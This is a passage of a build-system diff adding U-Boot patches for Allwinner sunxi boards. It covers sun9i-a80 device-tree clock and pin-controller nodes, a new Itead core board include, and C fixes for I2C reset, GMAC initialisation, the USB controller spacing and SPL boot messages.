++	led_r_pins_optimus: led-pins at 1 {
++		allwinner,pins = "PM15";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&r_rsb {
+ 	status = "okay";
+ };
+ 
+-&uart4_pins_a {
+-	/* Enable internal pull-up */
+-	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++&uart0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&uart0_pins_a>;
++	status = "okay";
+ };
+ 
+ &usbphy1 {
+--- a/arch/arm/dts/sun9i-a80.dtsi
++++ b/arch/arm/dts/sun9i-a80.dtsi
+@@ -128,6 +128,17 @@
+ 		 */
+ 		ranges = <0 0 0 0x20000000>;
+ 
++		/*
++		 * This clock is actually configurable from the PRCM address
++		 * space. The external 24M oscillator can be turned off, and
++		 * the clock switched to an internal 16M RC oscillator. Under
++		 * normal operation there's no reason to do this, and the
++		 * default is to use the external good one, so just model this
++		 * as a fixed clock. Also it is not entirely clear if the
++		 * osc24M mux in the PRCM affects the entire clock tree, which
++		 * would also throw all the PLL clock rates off, or just the
++		 * downstream clocks in the PRCM.
++		 */
+ 		osc24M: osc24M_clk {
+ 			#clock-cells = <0>;
+ 			compatible = "fixed-clock";
+@@ -135,6 +146,13 @@
+ 			clock-output-names = "osc24M";
+ 		};
+ 
++		/*
++		 * The 32k clock is from an external source, normally the
++		 * AC100 codec/RTC chip. This clock is by default enabled
++		 * and clocked at 32768 Hz, from the oscillator connected
++		 * to the AC100. It is configurable, but no such driver or
++		 * bindings exist yet.
++		 */
+ 		osc32k: osc32k_clk {
+ 			#clock-cells = <0>;
+ 			compatible = "fixed-clock";
+@@ -164,6 +182,14 @@
+ 					     "usb_phy2", "usb_hsic_12M";
+ 		};
+ 
++		pll3: clk at 06000008 {
++			/* placeholder until implemented */
++			#clock-cells = <0>;
++			compatible = "fixed-clock";
++			clock-rate = <0>;
++			clock-output-names = "pll3";
++		};
++
+ 		pll4: clk at 0600000c {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun9i-a80-pll4-clk";
+@@ -277,9 +303,12 @@
+ 			compatible = "allwinner,sun9i-a80-ahb0-gates-clk";
+ 			reg = <0x06000580 0x4>;
+ 			clocks = <&ahb0>;
+-			clock-indices = <0>, <1>, <3>, <5>, <8>, <12>, <13>,
+-					<14>, <15>, <16>, <18>, <20>, <21>,
+-					<22>, <23>;
++			clock-indices = <0>, <1>, <3>,
++					<5>, <8>, <12>,
++					<13>, <14>,
++					<15>, <16>, <18>,
++					<20>, <21>, <22>,
++					<23>;
+ 			clock-output-names = "ahb0_fd", "ahb0_ve", "ahb0_gpu",
+ 					"ahb0_ss", "ahb0_sd", "ahb0_nand1",
+ 					"ahb0_nand0", "ahb0_sdram",
+@@ -293,7 +322,10 @@
+ 			compatible = "allwinner,sun9i-a80-ahb1-gates-clk";
+ 			reg = <0x06000584 0x4>;
+ 			clocks = <&ahb1>;
+-			clock-indices = <0>, <1>, <17>, <21>, <22>, <23>, <24>;
++			clock-indices = <0>, <1>,
++					<17>, <21>,
++					<22>, <23>,
++					<24>;
+ 			clock-output-names = "ahb1_usbotg", "ahb1_usbhci",
+ 					"ahb1_gmac", "ahb1_msgbox",
+ 					"ahb1_spinlock", "ahb1_hstimer",
+@@ -305,8 +337,9 @@
+ 			compatible = "allwinner,sun9i-a80-ahb2-gates-clk";
+ 			reg = <0x06000588 0x4>;
+ 			clocks = <&ahb2>;
+-			clock-indices = <0>, <1>, <2>, <4>, <5>, <7>, <8>,
+-					<11>;
++			clock-indices = <0>, <1>,
++					<2>, <4>, <5>,
++					<7>, <8>, <11>;
+ 			clock-output-names = "ahb2_lcd0", "ahb2_lcd1",
+ 					"ahb2_edp", "ahb2_csi", "ahb2_hdmi",
+ 					"ahb2_de", "ahb2_mp", "ahb2_mipi_dsi";
+@@ -317,8 +350,10 @@
+ 			compatible = "allwinner,sun9i-a80-apb0-gates-clk";
+ 			reg = <0x06000590 0x4>;
+ 			clocks = <&apb0>;
+-			clock-indices = <1>, <5>, <11>, <12>, <13>, <15>,
+-					<17>, <18>, <19>;
++			clock-indices = <1>, <5>,
++					<11>, <12>, <13>,
++					<15>, <17>, <18>,
++					<19>;
+ 			clock-output-names = "apb0_spdif", "apb0_pio",
+ 					"apb0_ac97", "apb0_i2s0", "apb0_i2s1",
+ 					"apb0_lradc", "apb0_gpadc", "apb0_twd",
+@@ -330,14 +365,79 @@
+ 			compatible = "allwinner,sun9i-a80-apb1-gates-clk";
+ 			reg = <0x06000594 0x4>;
+ 			clocks = <&apb1>;
+-			clock-indices = <0>, <1>, <2>, <3>, <4>,
+-					<16>, <17>, <18>, <19>, <20>, <21>;
++			clock-indices = <0>, <1>,
++					<2>, <3>, <4>,
++					<16>, <17>,
++					<18>, <19>,
++					<20>, <21>;
+ 			clock-output-names = "apb1_i2c0", "apb1_i2c1",
+ 					"apb1_i2c2", "apb1_i2c3", "apb1_i2c4",
+ 					"apb1_uart0", "apb1_uart1",
+ 					"apb1_uart2", "apb1_uart3",
+ 					"apb1_uart4", "apb1_uart5";
+ 		};
++
++		cpus_clk: clk at 08001410 {
++			compatible = "allwinner,sun9i-a80-cpus-clk";
++			reg = <0x08001410 0x4>;
++			#clock-cells = <0>;
++			clocks = <&osc32k>, <&osc24M>, <&pll4>, <&pll3>;
++			clock-output-names = "cpus";
++		};
++
++		ahbs: ahbs_clk {
++			compatible = "fixed-factor-clock";
++			#clock-cells = <0>;
++			clock-div = <1>;
++			clock-mult = <1>;
++			clocks = <&cpus_clk>;
++			clock-output-names = "ahbs";
++		};
++
++		apbs: clk at 0800141c {
++			compatible = "allwinner,sun8i-a23-apb0-clk";
++			reg = <0x0800141c 0x4>;
++			#clock-cells = <0>;
++			clocks = <&ahbs>;
++			clock-output-names = "apbs";
++		};
++
++		apbs_gates: clk at 08001428 {
++			compatible = "allwinner,sun9i-a80-apbs-gates-clk";
++			reg = <0x08001428 0x4>;
++			#clock-cells = <1>;
++			clocks = <&apbs>;
++			clock-indices = <0>, <1>,
++					<2>, <3>,
++					<4>, <5>,
++					<6>, <7>,
++					<12>, <13>,
++					<16>, <17>,
++					<18>, <20>;
++			clock-output-names = "apbs_pio", "apbs_ir",
++					"apbs_timer", "apbs_rsb",
++					"apbs_uart", "apbs_1wire",
++					"apbs_i2c0", "apbs_i2c1",
++					"apbs_ps2_0", "apbs_ps2_1",
++					"apbs_dma", "apbs_i2s0",
++					"apbs_i2s1", "apbs_twd";
++		};
++
++		r_1wire_clk: clk at 08001450 {
++			reg = <0x08001450 0x4>;
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-mod0-clk";
++			clocks = <&osc32k>, <&osc24M>;
++			clock-output-names = "r_1wire";
++		};
++
++		r_ir_clk: clk at 08001454 {
++			reg = <0x08001454 0x4>;
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-mod0-clk";
++			clocks = <&osc32k>, <&osc24M>;
++			clock-output-names = "r_ir";
++		};
+ 	};
+ 
+ 	soc {
+@@ -443,7 +543,7 @@
+ 		};
+ 
+ 		mmc0: mmc at 01c0f000 {
+-			compatible = "allwinner,sun5i-a13-mmc";
++			compatible = "allwinner,sun9i-a80-mmc";
+ 			reg = <0x01c0f000 0x1000>;
+ 			clocks = <&mmc_config_clk 0>, <&mmc0_clk 0>,
+ 				 <&mmc0_clk 1>, <&mmc0_clk 2>;
+@@ -457,7 +557,7 @@
+ 		};
+ 
+ 		mmc1: mmc at 01c10000 {
+-			compatible = "allwinner,sun5i-a13-mmc";
++			compatible = "allwinner,sun9i-a80-mmc";
+ 			reg = <0x01c10000 0x1000>;
+ 			clocks = <&mmc_config_clk 1>, <&mmc1_clk 0>,
+ 				 <&mmc1_clk 1>, <&mmc1_clk 2>;
+@@ -471,7 +571,7 @@
+ 		};
+ 
+ 		mmc2: mmc at 01c11000 {
+-			compatible = "allwinner,sun5i-a13-mmc";
++			compatible = "allwinner,sun9i-a80-mmc";
+ 			reg = <0x01c11000 0x1000>;
+ 			clocks = <&mmc_config_clk 2>, <&mmc2_clk 0>,
+ 				 <&mmc2_clk 1>, <&mmc2_clk 2>;
+@@ -485,7 +585,7 @@
+ 		};
+ 
+ 		mmc3: mmc at 01c12000 {
+-			compatible = "allwinner,sun5i-a13-mmc";
++			compatible = "allwinner,sun9i-a80-mmc";
+ 			reg = <0x01c12000 0x1000>;
+ 			clocks = <&mmc_config_clk 3>, <&mmc3_clk 0>,
+ 				 <&mmc3_clk 1>, <&mmc3_clk 2>;
+@@ -582,7 +682,7 @@
+ 			clocks = <&apb0_gates 5>;
+ 			gpio-controller;
+ 			interrupt-controller;
+-			#interrupt-cells = <2>;
++			#interrupt-cells = <3>;
+ 			#size-cells = <0>;
+ 			#gpio-cells = <3>;
+ 
+@@ -604,7 +704,8 @@
+ 			mmc2_8bit_pins: mmc2_8bit {
+ 				allwinner,pins = "PC6", "PC7", "PC8", "PC9",
+ 						 "PC10", "PC11", "PC12",
+-						 "PC13", "PC14", "PC15";
++						 "PC13", "PC14", "PC15",
++						 "PC16";
+ 				allwinner,function = "mmc2";
+ 				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
+ 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+@@ -752,14 +853,83 @@
+ 			interrupts = <GIC_SPI 36 IRQ_TYPE_LEVEL_HIGH>;
+ 		};
+ 
++		apbs_rst: reset at 080014b0 {
++			reg = <0x080014b0 0x4>;
++			compatible = "allwinner,sun6i-a31-clock-reset";
++			#reset-cells = <1>;
++		};
++
++		nmi_intc: interrupt-controller at 080015a0 {
++			compatible = "allwinner,sun9i-a80-nmi";
++			interrupt-controller;
++			#interrupt-cells = <2>;
++			reg = <0x080015a0 0xc>;
++			interrupts = <GIC_SPI 32 IRQ_TYPE_LEVEL_HIGH>;
++		};
++
++		r_ir: ir at 08002000 {
++			compatible = "allwinner,sun5i-a13-ir";
++			interrupts = <GIC_SPI 37 IRQ_TYPE_LEVEL_HIGH>;
++			pinctrl-names = "default";
++			pinctrl-0 = <&r_ir_pins>;
++			clocks = <&apbs_gates 1>, <&r_ir_clk>;
++			clock-names = "apb", "ir";
++			resets = <&apbs_rst 1>;
++			reg = <0x08002000 0x40>;
++			status = "disabled";
++		};
++
+ 		r_uart: serial at 08002800 {
+ 			compatible = "snps,dw-apb-uart";
+ 			reg = <0x08002800 0x400>;
+ 			interrupts = <GIC_SPI 38 IRQ_TYPE_LEVEL_HIGH>;
+ 			reg-shift = <2>;
+ 			reg-io-width = <4>;
+-			clocks = <&osc24M>;
++			clocks = <&apbs_gates 4>;
++			resets = <&apbs_rst 4>;
+ 			status = "disabled";
+ 		};
++
++		r_pio: pinctrl at 08002c00 {
++			compatible = "allwinner,sun9i-a80-r-pinctrl";
++			reg = <0x08002c00 0x400>;
++			interrupts = <GIC_SPI 45 IRQ_TYPE_LEVEL_HIGH>,
++				     <GIC_SPI 46 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&apbs_gates 0>;
++			resets = <&apbs_rst 0>;
++			gpio-controller;
++			interrupt-controller;
++			#address-cells = <1>;
++			#size-cells = <0>;
++			#gpio-cells = <3>;
++
++			r_ir_pins: r_ir {
++				allwinner,pins = "PL6";
++				allwinner,function = "s_cir_rx";
++				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++			};
++
++			r_rsb_pins: r_rsb {
++				allwinner,pins = "PN0", "PN1";
++				allwinner,function = "s_rsb";
++				allwinner,drive = <SUN4I_PINCTRL_20_MA>;
++				allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++			};
++		};
++
++		r_rsb: i2c at 08003400 {
++			compatible = "allwinner,sun8i-a23-rsb";
++			reg = <0x08003400 0x400>;
++			interrupts = <GIC_SPI 39 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&apbs_gates 3>;
++			clock-frequency = <3000000>;
++			resets = <&apbs_rst 3>;
++			pinctrl-names = "default";
++			pinctrl-0 = <&r_rsb_pins>;
++			status = "disabled";
++			#address-cells = <1>;
++			#size-cells = <0>;
++		};
+ 	};
+ };
+--- /dev/null
++++ b/arch/arm/dts/sunxi-itead-core-common.dtsi
+@@ -0,0 +1,136 @@
++/*
++ * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++#include "sunxi-common-regulators.dtsi"
++
++/ {
++	aliases {
++		serial0 = &uart0;
++	};
++
++	chosen {
++		stdout-path = "serial0:115200n8";
++	};
++};
++
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
++};
++
++&ehci0 {
++	status = "okay";
++};
++
++&ehci1 {
++	status = "okay";
++};
++
++&i2c0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c0_pins_a>;
++	status = "okay";
++
++	axp209: pmic at 34 {
++		reg = <0x34>;
++	};
++};
++
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++};
++
++&ohci0 {
++	status = "okay";
++};
++
++&ohci1 {
++	status = "okay";
++};
++
++#include "axp209.dtsi"
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-int-dll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
++};
++
++&reg_usb1_vbus {
++	status = "okay";
++};
++
++&reg_usb2_vbus {
++	status = "okay";
++};
++
++&uart0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&uart0_pins_a>;
++	status = "okay";
++};
++
++&usbphy {
++	usb1_vbus-supply = <&reg_usb1_vbus>;
++	usb2_vbus-supply = <&reg_usb2_vbus>;
++	status = "okay";
++};
+--- a/arch/arm/dts/sunxi-q8-common.dtsi
++++ b/arch/arm/dts/sunxi-q8-common.dtsi
+@@ -75,3 +75,9 @@
+ 		voltage = <400000>;
+ 	};
+ };
++
++&pwm {
++	pinctrl-names = "default";
++	pinctrl-0 = <&pwm0_pins>;
++	status = "okay";
++};
diff --git a/target/linux/sunxi/image/uboot/patches/012-sun6i-fix-clock_twi_onoff.patch b/target/linux/sunxi/image/uboot/patches/012-sun6i-fix-clock_twi_onoff.patch
new file mode 100644
index 0000000..4541670
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/012-sun6i-fix-clock_twi_onoff.patch
@@ -0,0 +1,38 @@
+From 730d2f3a41c5ccae71b5008fffdf697d143be68c Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Wed, 16 Mar 2016 20:44:51 +0100
+Subject: [PATCH] sunxi: Fix clock_twi_onoff for sun6i
+
+The clock_sun6i.c implementation was not deasserting the reset for
+the regular i2c controllers, this commit fixes this.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+---
+ arch/arm/cpu/armv7/sunxi/clock_sun6i.c | 11 ++++++++---
+ 1 file changed, 8 insertions(+), 3 deletions(-)
+
+--- a/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
++++ b/arch/arm/cpu/armv7/sunxi/clock_sun6i.c
+@@ -100,13 +100,18 @@ int clock_twi_onoff(int port, int state)
+ 		return 0;
+ 	}
+ 
+-	/* set the apb clock gate for twi */
+-	if (state)
++	/* set the apb clock gate and reset for twi */
++	if (state) {
+ 		setbits_le32(&ccm->apb2_gate,
+ 			     CLK_GATE_OPEN << (APB2_GATE_TWI_SHIFT+port));
+-	else
++		setbits_le32(&ccm->apb2_reset_cfg,
++			     1 << (APB2_RESET_TWI_SHIFT + port));
++	} else {
++		clrbits_le32(&ccm->apb2_reset_cfg,
++			     1 << (APB2_RESET_TWI_SHIFT + port));
+ 		clrbits_le32(&ccm->apb2_gate,
+ 			     CLK_GATE_OPEN << (APB2_GATE_TWI_SHIFT+port));
++	}
+ 
+ 	return 0;
+ }
diff --git a/target/linux/sunxi/image/uboot/patches/013-enable-realtek-phy.patch b/target/linux/sunxi/image/uboot/patches/013-enable-realtek-phy.patch
new file mode 100644
index 0000000..47f825c
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/013-enable-realtek-phy.patch
@@ -0,0 +1,24 @@
+From 1eae8f66ff749409eb96e2f3f3387c56232d0b8a Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Wed, 16 Mar 2016 13:46:22 +0100
+Subject: [PATCH] sunxi: Enable realtek phy support
+
+Enable building of drivers/net/phy/realtek.c so that realtek phys
+get properly initialized.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+---
+ include/configs/sunxi-common.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+--- a/include/configs/sunxi-common.h
++++ b/include/configs/sunxi-common.h
+@@ -314,6 +314,7 @@ extern int soft_i2c_gpio_scl;
+ #define CONFIG_PHY_GIGE			/* GMAC can use gigabit PHY	*/
+ #define CONFIG_PHY_ADDR		1
+ #define CONFIG_MII			/* MII PHY management		*/
++#define CONFIG_PHY_REALTEK
+ #endif
+ 
+ #ifdef CONFIG_USB_EHCI_HCD
diff --git a/target/linux/sunxi/image/uboot/patches/014-fix-gmac-init.patch b/target/linux/sunxi/image/uboot/patches/014-fix-gmac-init.patch
new file mode 100644
index 0000000..cf511ce
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/014-fix-gmac-init.patch
@@ -0,0 +1,127 @@
+From fc8991c61c393ce6a9d3dfc97cb56dbbd9e8cbba Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Thu, 17 Mar 2016 13:53:03 +0100
+Subject: [PATCH] sunxi: Fix gmac not working due to cpu_eth_init no longer
+ being called
+
+cpu_eth_init is no longer called for dm enabled eth drivers, this
+was causing the sunxi gmac eth controller to no longer work in u-boot.
+
+This commit fixes this by calling the clock, reset and pinmux setup
+function from s_init() and enabling the phy power pin (if any) from
+board_init().
+
+The enabling of phy power cannot be done from s_init because it uses dm
+and dm is not ready yet at this point.
+
+Note that the mdelay is dropped as the phy gets enabled much earlier
+now, so it is no longer needed.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+Tested-by: Karsten Merker <merker at debian.org>
+Tested-by: Michael Haas <haas at computerlinguist.org>
+---
+ arch/arm/cpu/armv7/sunxi/board.c            | 28 +---------------------------
+ arch/arm/include/asm/arch-sunxi/sys_proto.h |  6 +++++-
+ board/sunxi/board.c                         |  5 +++++
+ board/sunxi/gmac.c                          | 14 +-------------
+ 4 files changed, 12 insertions(+), 41 deletions(-)
+
+--- a/arch/arm/cpu/armv7/sunxi/board.c
++++ b/arch/arm/cpu/armv7/sunxi/board.c
+@@ -136,6 +136,7 @@ void s_init(void)
+ 	timer_init();
+ 	gpio_init();
+ 	i2c_init_board();
++	eth_init_board();
+ }
+ 
+ #ifdef CONFIG_SPL_BUILD
+@@ -243,30 +244,3 @@ void enable_caches(void)
+ 	dcache_enable();
+ }
+ #endif
+-
+-#ifdef CONFIG_CMD_NET
+-/*
+- * Initializes on-chip ethernet controllers.
+- * to override, implement board_eth_init()
+- */
+-int cpu_eth_init(bd_t *bis)
+-{
+-	__maybe_unused int rc;
+-
+-#ifdef CONFIG_MACPWR
+-	gpio_request(CONFIG_MACPWR, "macpwr");
+-	gpio_direction_output(CONFIG_MACPWR, 1);
+-	mdelay(200);
+-#endif
+-
+-#ifdef CONFIG_SUNXI_GMAC
+-	rc = sunxi_gmac_initialize(bis);
+-	if (rc < 0) {
+-		printf("sunxi: failed to initialize gmac\n");
+-		return rc;
+-	}
+-#endif
+-
+-	return 0;
+-}
+-#endif
+--- a/arch/arm/include/asm/arch-sunxi/sys_proto.h
++++ b/arch/arm/include/asm/arch-sunxi/sys_proto.h
+@@ -24,6 +24,10 @@ void sdelay(unsigned long);
+ void return_to_fel(uint32_t lr, uint32_t sp);
+ 
+ /* Board / SoC level designware gmac init */
+-int sunxi_gmac_initialize(bd_t *bis);
++#if !defined CONFIG_SPL_BUILD && defined CONFIG_SUNXI_GMAC
++void eth_init_board(void);
++#else
++static inline void eth_init_board(void) {}
++#endif
+ 
+ #endif
+--- a/board/sunxi/board.c
++++ b/board/sunxi/board.c
+@@ -90,6 +90,11 @@ int board_init(void)
+ 	if (ret)
+ 		return ret;
+ 
++#ifdef CONFIG_MACPWR
++	gpio_request(CONFIG_MACPWR, "macpwr");
++	gpio_direction_output(CONFIG_MACPWR, 1);
++#endif
++
+ 	/* Uses dm gpio code so do this here and not in i2c_init_board() */
+ 	return soft_i2c_board_init();
+ }
+--- a/board/sunxi/gmac.c
++++ b/board/sunxi/gmac.c
+@@ -6,7 +6,7 @@
+ #include <asm/arch/clock.h>
+ #include <asm/arch/gpio.h>
+ 
+-int sunxi_gmac_initialize(bd_t *bis)
++void eth_init_board(void)
+ {
+ 	int pin;
+ 	struct sunxi_ccm_reg *const ccm =
+@@ -79,16 +79,4 @@ int sunxi_gmac_initialize(bd_t *bis)
+ 	for (pin = SUNXI_GPA(26); pin <= SUNXI_GPA(27); pin++)
+ 		sunxi_gpio_set_cfgpin(pin, SUN6I_GPA_GMAC);
+ #endif
+-
+-#ifdef CONFIG_DM_ETH
+-	return 0;
+-#else
+-# ifdef CONFIG_RGMII
+-	return designware_initialize(SUNXI_GMAC_BASE, PHY_INTERFACE_MODE_RGMII);
+-# elif defined CONFIG_GMII
+-	return designware_initialize(SUNXI_GMAC_BASE, PHY_INTERFACE_MODE_GMII);
+-# else
+-	return designware_initialize(SUNXI_GMAC_BASE, PHY_INTERFACE_MODE_MII);
+-# endif
+-#endif
+ }
diff --git a/target/linux/sunxi/image/uboot/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch b/target/linux/sunxi/image/uboot/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
new file mode 100644
index 0000000..95a77c6
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
@@ -0,0 +1,78 @@
+From 948603d4d637a0e04a3214253b911cfc4ed11220 Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Mon, 21 Mar 2016 14:44:35 +0100
+Subject: [PATCH] sunxi: Fix 2nd usb controller on sun4i/sun7i no longer
+ working
+
+The 2nd usb controller on sun4i/sun7i has its base address 0x8000
+bytes from the 1st one, rather then 0x1000. Also the ahb clk gates
+are interleaved with the ohci clk-gates introducing a hole between
+the clks for usb1 and usb2.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Acked-by: Ian Campbell <ijc at hellion.org.uk>
+---
+ drivers/usb/host/ehci-sunxi.c | 13 +++++++++++--
+ drivers/usb/host/ohci-sunxi.c | 15 ++++++++++++---
+ 2 files changed, 23 insertions(+), 5 deletions(-)
+
+--- a/drivers/usb/host/ehci-sunxi.c
++++ b/drivers/usb/host/ehci-sunxi.c
+@@ -17,6 +17,14 @@
+ #include <dm.h>
+ #include "ehci.h"
+ 
++#ifdef CONFIG_SUNXI_GEN_SUN4I
++#define BASE_DIST		0x8000
++#define AHB_CLK_DIST		2
++#else
++#define BASE_DIST		0x1000
++#define AHB_CLK_DIST		1
++#endif
++
+ struct ehci_sunxi_priv {
+ 	struct ehci_ctrl ehci;
+ 	int ahb_gate_mask; /* Mask of ahb_gate0 clk gate bits for this hcd */
+@@ -39,8 +47,9 @@ static int ehci_usb_probe(struct udevice
+ #ifdef CONFIG_MACH_SUN8I_H3
+ 	priv->ahb_gate_mask |= 1 << AHB_GATE_OFFSET_USB_OHCI0;
+ #endif
+-	priv->phy_index = ((u32)hccr - SUNXI_USB1_BASE) / 0x1000 + 1;
+-	priv->ahb_gate_mask <<= priv->phy_index - 1;
++	priv->phy_index = ((u32)hccr - SUNXI_USB1_BASE) / BASE_DIST;
++	priv->ahb_gate_mask <<= priv->phy_index * AHB_CLK_DIST;
++	priv->phy_index++; /* Non otg phys start at 1 */
+ 
+ 	setbits_le32(&ccm->ahb_gate0, priv->ahb_gate_mask);
+ #ifdef CONFIG_SUNXI_GEN_SUN6I
+--- a/drivers/usb/host/ohci-sunxi.c
++++ b/drivers/usb/host/ohci-sunxi.c
+@@ -17,6 +17,14 @@
+ #include <usb.h>
+ #include "ohci.h"
+ 
++#ifdef CONFIG_SUNXI_GEN_SUN4I
++#define BASE_DIST		0x8000
++#define AHB_CLK_DIST		2
++#else
++#define BASE_DIST		0x1000
++#define AHB_CLK_DIST		1
++#endif
++
+ struct ohci_sunxi_priv {
+ 	ohci_t ohci;
+ 	int ahb_gate_mask; /* Mask of ahb_gate0 clk gate bits for this hcd */
+@@ -42,9 +50,10 @@ static int ohci_usb_probe(struct udevice
+ 	priv->ahb_gate_mask |= 1 << AHB_GATE_OFFSET_USB_EHCI0;
+ #endif
+ 	priv->usb_gate_mask = CCM_USB_CTRL_OHCI0_CLK;
+-	priv->phy_index = ((u32)regs - (SUNXI_USB1_BASE + 0x400)) / 0x1000 + 1;
+-	priv->ahb_gate_mask <<= priv->phy_index - 1;
+-	priv->usb_gate_mask <<= priv->phy_index - 1;
++	priv->phy_index = ((u32)regs - (SUNXI_USB1_BASE + 0x400)) / BASE_DIST;
++	priv->ahb_gate_mask <<= priv->phy_index * AHB_CLK_DIST;
++	priv->usb_gate_mask <<= priv->phy_index;
++	priv->phy_index++; /* Non otg phys start at 1 */
+ 
+ 	setbits_le32(&ccm->ahb_gate0, priv->ahb_gate_mask);
+ 	setbits_le32(&ccm->usb_clk_cfg, priv->usb_gate_mask);
diff --git a/target/linux/sunxi/image/uboot/patches/016-spl-print-mmc-slot.patch b/target/linux/sunxi/image/uboot/patches/016-spl-print-mmc-slot.patch
new file mode 100644
index 0000000..04a2af7
--- /dev/null
+++ b/target/linux/sunxi/image/uboot/patches/016-spl-print-mmc-slot.patch
@@ -0,0 +1,31 @@
+From 8f10b5c65611e6c15a113bf63289b6696452f90d Mon Sep 17 00:00:00 2001
+From: Hans de Goede <hdegoede at redhat.com>
+Date: Sun, 20 Mar 2016 14:17:10 +0100
+Subject: [PATCH] spl: Print from which mmc slot spl is trying to boot
+
+On some sunxi boards (and presumably also non sunxi boards) u-boot can
+be either loaded from a sdcard in a micro-sd slot, or from eMMC.
+
+Print which MMC spl tries to boot from, to help debugging.
+
+Signed-off-by: Hans de Goede <hdegoede at redhat.com>
+Reviewed-by: Tom Rini <trini at konsulko.com>
+---
+ common/spl/spl.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+--- a/common/spl/spl.c
++++ b/common/spl/spl.c
+@@ -210,9 +210,9 @@ struct boot_device_name boot_name_table[
+ 	{ BOOT_DEVICE_RAM, "RAM" },
+ #endif
+ #ifdef CONFIG_SPL_MMC_SUPPORT
+-	{ BOOT_DEVICE_MMC1, "MMC" },
+-	{ BOOT_DEVICE_MMC2, "MMC" },
+-	{ BOOT_DEVICE_MMC2_2, "MMC" },
++	{ BOOT_DEVICE_MMC1, "MMC1" },
++	{ BOOT_DEVICE_MMC2, "MMC2" },
++	{ BOOT_DEVICE_MMC2_2, "MMC2_2" },
+ #endif
+ #ifdef CONFIG_SPL_NAND_SUPPORT
+ 	{ BOOT_DEVICE_NAND, "NAND" },
diff --git a/target/linux/sunxi/image/uboot/patches/017-usb-add-support-for-usb3-vbus-pin.patch b/target/linux/sunxi/image/uboot/patches/017-usb-add-support-for-usb3-vbus-pin.patch
new file mode 100644
index 0000000..098fe72
--- /dev/null
